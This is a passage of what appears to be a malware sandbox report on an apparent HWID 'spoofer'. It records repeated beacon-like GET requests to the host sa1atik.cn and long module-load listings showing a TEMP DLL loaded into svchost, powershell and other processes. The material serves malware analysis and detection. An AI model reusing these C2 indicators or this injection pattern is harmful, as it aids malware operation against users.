cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Wi%2B1N5un%2FYGhEaYhyrL66WoBMjL32i5o4YYZ04Dx8HHnLoSejlg%2FHSqqk5Ekvlxfi3eqRoQKKWhbcrzhhWEexjTq8PgTAMpdMDATLi38%2FRIumyTNBJ6eRpKssCIW"}]} CF-RAY: a3fb9ec71a733690-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29622C39EC286C391C2A3C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:32 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=K8Jbfrw1RiuDeiFWyqCIkp2M7Zxlt%2FL1OswyZIaAYQT4hRF5Z41xXyRBIohtfWd8nIJ0oLECviQemlArrN9hye3wTFEFbHO3yagFVEUko210f94UK7gPMU7cTkGA"}]} CF-RAY: a3fb9f02892346ba-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962DC39EC288C394C2A7C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:40 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xw4eUY7HpwRmHZMcYD0pQsExlhY3Le3mDohfX7COdZW3zkub%2FXqWKILKLEZTqQbpZAgGTXmUNlfeV4dTVrq7ErEIxnQ0zTW5nNeECquNTr13csblaCvutUcLDYbU"}]} CF-RAY: a3fb9f384eabbd8b-LHR alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962DC395C286C390C2A6C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:48 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=knc55IoOdYl%2BXkwQiD9Lc6tSgAJdRCpJnztd5y2S5OFsXixvRRfmYTMkSfhbXh9VSZ9xaFLATab16%2BpRuQdBapzVkiB1U3g3CrqlXOgyP9yQHlt6ibpm%2BId%2FvRAg9II1EdSnGqUVjaFr"}]} CF-RAY: a3fb9f6aaf4c9c23-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962DC390C284C395C2A4C39FC290C381C2A8C39BC38F.......43:T67e2,"SexsoldierSpoofer.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa06cb0000 "SexsoldierSpoofer.exe" loaded module "ADVAPI32.DLL" at base 7ffa2dd90000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa2aff0000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa2aff0000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa2aff0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffa0a650000 "SexsoldierSpoofer.exe" loaded module "SHLWAPI.DLL" at base 7ffa2e1d0000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffa2aa80000 "SexsoldierSpoofer.exe" loaded module "VERSION.DLL" at base 7ffa221a0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff9fbf30000 "SexsoldierSpoofer.exe" loaded module "USER32.DLL" at base 7ffa2db40000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffa2aff0000 "SexsoldierSpoofer.exe" loaded module "MSCOREE.DLL" at base 7ffa12650000 "SexsoldierSpoofer.exe" loaded module "NTDLL" at base 7ffa2e6a0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffa2c2a0000 "SexsoldierSpoofer.exe" loaded module "PSAPI.DLL" at base 7ffa2e310000 "SexsoldierSpoofer.exe" loaded module "RPCRT4.DLL" at base 7ffa2c5b0000 "SexsoldierSpoofer.exe" loaded module "KERNEL32.DLL" at base 7ffa2bb70000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff9fa930000 "SexsoldierSpoofer.exe" loaded module "OLE32.DLL" at base 7ffa2e080000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffa2c2a0000 "SexsoldierSpoofer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffa2aff0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa06b60000 "SexsoldierSpoofer.exe" loaded module "SHELL32.DLL" at base 1d8a0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff9f9cc0000 "SexsoldierSpoofer.exe" loaded module "NTDLL.DLL" at base 7ffa2e6a0000 "SexsoldierSpoofer.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffa28df0000 "conhost.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "conhost.exe" loaded module "ADVAPI32.DLL" at base 757f0000 "conhost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77010000 "conhost.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77010000 "conhost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77010000 "conhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74410000 "conhost.exe" loaded module "SHLWAPI.DLL" at base 757a0000 "conhost.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75c60000 "conhost.exe" loaded module "VERSION.DLL" at base 74400000 "conhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 73c50000 "conhost.exe" loaded module "USER32.DLL" at base 74d70000 "conhost.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77010000 "conhost.exe" loaded module "MSCOREE.DLL" at base 746d0000 "conhost.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77770000 "conhost.exe" loaded module "PSAPI.DLL" at base 77340000 "conhost.exe" loaded module "RPCRT4.DLL" at base 77650000 "conhost.exe" loaded module "KERNEL32.DLL" at base 77270000 "conhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 72770000 "conhost.exe" loaded module "OLE32.DLL" at base 74780000 "conhost.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77770000 "conhost.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77010000 "conhost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726e0000 "conhost.exe" loaded module "SHELL32.DLL" at base 75cd0000 "conhost.exe" loaded module "NTDLL.DLL" at base 77d20000 "conhost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71c20000 "conhost.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "RPZ-HWID.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa06cb0000 "RPZ-HWID.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa2aff0000 "RPZ-HWID.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa2aff0000 "RPZ-HWID.exe" loaded module "KERNEL32.DLL" at base 7ffa2bb70000 "RPZ-HWID.exe" loaded module "NTDLL.DLL" at base 7ffa2e6a0000 "RPZ-HWID.exe" loaded module "RPCRT4.DLL" at base 7ffa2c5b0000 "RPZ-HWID.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffa2aa80000 "svchost.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "svchost.exe" loaded module "KERNEL32.DLL" at base 77270000 "svchost.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 74fc0000 "svchost.exe" loaded module "NTDLL.DLL" at base 77d20000 "svchost.exe" loaded module "WINMM.DLL" at base 726b0000 "svchost.exe" loaded module "POWRPROF.DLL" at base 77350000 "svchost.exe" loaded module "WS2_32.DLL" at base 75730000 "svchost.exe" loaded module "USER32.DLL" at base 74d70000 "svchost.exe" loaded module "ADVAPI32.DLL" at base 757f0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 71b90000 "svchost.exe" loaded module "IPHLPAPI.DLL" at base 71b60000 "svchost.exe" loaded module "RPCRT4.DLL" at base 77650000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71a70000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 71a20000 "svchost.exe" loaded module "USERENV.DLL" at base 72650000 "svchost.exe" loaded module "SECUR32.DLL" at base 72640000 "svchost.exe" loaded module "SSPICLI.DLL" at base 74740000 "svchost.exe" loaded module "OLE32.DLL" at base 74780000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 725c0000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77010000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 72580000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 757f0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 72500000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 779c0000 "svchost.exe" loaded module "OLEAUT32.DLL" at base 779c0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72450000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72440000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 72380000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 77010000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 77010000 "svchost.exe" loaded module "GDI32.DLL" at base 74ef0000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 72530000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "svchost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77010000 "svchost.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77010000 "svchost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77010000 "svchost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74410000 "svchost.exe" loaded module "SHLWAPI.DLL" at base 757a0000 "svchost.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75c60000 "svchost.exe" loaded module "VERSION.DLL" at base 74400000 "svchost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 73c50000 "svchost.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77010000 "svchost.exe" loaded module "MSCOREE.DLL" at base 746d0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77770000 "svchost.exe" loaded module "PSAPI.DLL" at base 77340000 "svchost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 72770000 "svchost.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77770000 "svchost.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77010000 "svchost.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726e0000 "svchost.exe" loaded module "SHELL32.DLL" at base 75cd0000 "svchost.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71820000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 723d0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 6f960000 "svchost.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 77270000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6eee0000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75cd0000 "svchost.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 6fde0000 "svchost.exe" loaded module "MSISO.DLL" at base 6fae0000 "svchost.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 77010000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 750d0000 "ONENOTEM.EXE" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "ONENOTEM.EXE" loaded module "KERNEL32.DLL" at base 77270000 "ONENOTEM.EXE" loaded module "BCRYPTPRIMITIVES.DLL" at base 74fc0000 "ONENOTEM.EXE" loaded module "NTDLL.DLL" at base 77d20000 "ONENOTEM.EXE" loaded module "WINMM.DLL" at base 726b0000 "ONENOTEM.EXE" loaded module "POWRPROF.DLL" at base 77350000 "ONENOTEM.EXE" loaded module "WS2_32.DLL" at base 75730000 "ONENOTEM.EXE" loaded module "USER32.DLL" at base 74d70000 "ONENOTEM.EXE" loaded module "ADVAPI32.DLL" at base 757f0000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72620000 "ONENOTEM.EXE" loaded module "IPHLPAPI.DLL" at base 725f0000 "ONENOTEM.EXE" loaded module "RPCRT4.DLL" at base 77650000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72500000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 724b0000 "ONENOTEM.EXE" loaded module "USERENV.DLL" at base 72460000 "ONENOTEM.EXE" loaded module "SECUR32.DLL" at base 72450000 "ONENOTEM.EXE" loaded module "SSPICLI.DLL" at base 74740000 "ONENOTEM.EXE" loaded module "OLE32.DLL" at base 74780000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 723d0000 "ONENOTEM.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77010000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 72390000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 757f0000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 72310000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 779c0000 "ONENOTEM.EXE" loaded module "OLEAUT32.DLL" at base 779c0000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72260000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 72250000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 72190000 "ONENOTEM.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 77010000 "ONENOTEM.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 77010000 "ONENOTEM.EXE" loaded module "WTSAPI32.DLL" at base 723c0000 "ONENOTEM.EXE" loaded module "GDI32.DLL" at base 74ef0000 "ONENOTEM.EXE" loaded module "CRYPT32.DLL" at base 75ac0000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "ONENOTEM.EXE" loaded module "RSTRTMGR.DLL" at base 70170000 "ONENOTEM.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74fc0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 757f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77010000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77010000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77010000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 74410000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 757a0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75c60000 "powershell.exe" loaded module "VERSION.DLL" at base 74400000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 73c50000 "powershell.exe" loaded module "USER32.DLL" at base 74d70000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "MSCOREE.DLL" at base 746d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77770000 "powershell.exe" loaded module "PSAPI.DLL" at base 77340000 "powershell.exe" loaded module "RPCRT4.DLL" at base 77650000 "powershell.exe" loaded module "KERNEL32.DLL" at base 77270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 72770000 "powershell.exe" loaded module "OLE32.DLL" at base 74780000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77770000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 779c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74fc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77010000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 71000000 "powershell.exe" loaded module "COMBASE.DLL" at base 77770000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 77770000 "powershell.exe" loaded module "NTDLL.DLL" at base 77d20000 "powershell.exe" loaded module "SHELL32.DLL" at base 75cd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 70880000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74f70000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74f70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75ac0000 "powershell.exe" loaded module "AMSI.DLL" at base 70870000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74400000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 70850000 "powershell.exe" loaded module "KERNEL32" at base 77270000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\RE6302G3.DLL" at base 70810000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 70770000 "powershell.exe" loaded module "CRYPT32.DLL" at base 75ac0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 70410000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 77770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 703c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 702b0000 "powershell.exe" loaded module "SECUR32.DLL" at base 72450000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 723d0000 "powershell.exe" loaded module "WLDP.DLL" at base 70290000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 701f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77270000 "powershell.exe" loaded module "USERENV.DLL" at base 72460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 757f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 70110000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 700f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 77270000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 700c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6fb80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6fb50000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6fb50000 "powershell.exe" loaded module "URLMON.DLL" at base 6fde0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "MSISO.DLL" at base 6fae0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6f8b0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 72490000 "powershell.exe" loaded module "OLEAUT32" at base 779c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 77010000 "powershell.exe" loaded module "MSVCRT.DLL" at base 74880000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6f5d0000 "powershell.exe" loaded module "MI.DLL" at base 6f5b0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6f520000 "powershell.exe" loaded module "GDI32.DLL" at base 74ef0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6f510000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6f3d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 77010000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 77270000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 77010000 "powershell.exe" loaded module "RASAPI32.DLL" at base 6f2f0000 "powershell.exe" loaded module "RASMAN.DLL" at base 6f2c0000 "powershell.exe" loaded module "WS2_32.DLL" at base 75730000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72620000 "powershell.exe" loaded module "WINHTTP.DLL" at base 6f1f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6f1d0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 725f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72500000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 724b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6f180000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 6f170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6f150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6f040000 "ONENOTEM.EXE" loaded module "OLEAUT32" at base 779c0000 "svchost.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa06b10000 "svchost.exe" loaded module "NTDLL.DLL" at base 7ffa2e6a0000 "svchost.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffa28df0000 "MicrosoftEdgeWebview2Setup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "MicrosoftEdgeWebview2Setup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77010000 "MicrosoftEdgeWebview2Setup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77010000 "MicrosoftEdgeWebview2Setup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77010000 "MicrosoftEdgeWebview2Setup.exe" loaded module "KERNEL32" at base 77270000 "MicrosoftEdgeWebview2Setup.exe" loaded module 